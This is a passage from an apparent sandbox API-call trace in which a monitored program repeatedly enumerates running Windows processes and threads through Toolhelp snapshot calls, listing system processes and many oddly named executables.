szExeFile="switchconventionspeppercovered.exe")) returned 1 [0117.766] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0117.767] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0117.768] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0117.769] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0117.770] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.771] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0117.771] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.890] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0117.890] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.891] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0117.892] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0117.893] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0117.894] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.895] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0117.896] CloseHandle (hObject=0x56c) returned 1 [0117.896] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x56c [0117.898] Thread32First (hSnapshot=0x56c, lpte=0x4f1f308) returned 1 [0119.098] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0119.100] Process32FirstW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.101] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.102] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.103] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.104] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.104] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.105] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.106] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.107] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.107] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0119.108] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.109] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.110] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.110] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.111] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.112] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.113] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.114] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.114] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.115] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.116] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.117] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.117] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.118] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.119] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.120] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.120] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.121] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0119.122] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0119.123] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0119.123] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0119.124] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0119.125] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0119.126] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0119.127] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0119.127] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0119.128] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0119.129] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0119.130] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0119.153] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0119.154] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0119.155] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0119.156] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0119.156] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0119.157] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0119.158] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0119.159] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0119.159] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0119.160] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.161] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0119.162] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.163] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.163] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.164] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.165] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.166] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0119.166] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.167] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0119.168] CloseHandle (hObject=0x56c) returned 1 [0119.168] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x56c [0119.170] Thread32First (hSnapshot=0x56c, lpte=0x4f1f308) returned 1 [0120.382] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0120.384] Process32FirstW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.385] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.386] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.387] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.388] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.389] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.390] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.391] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: 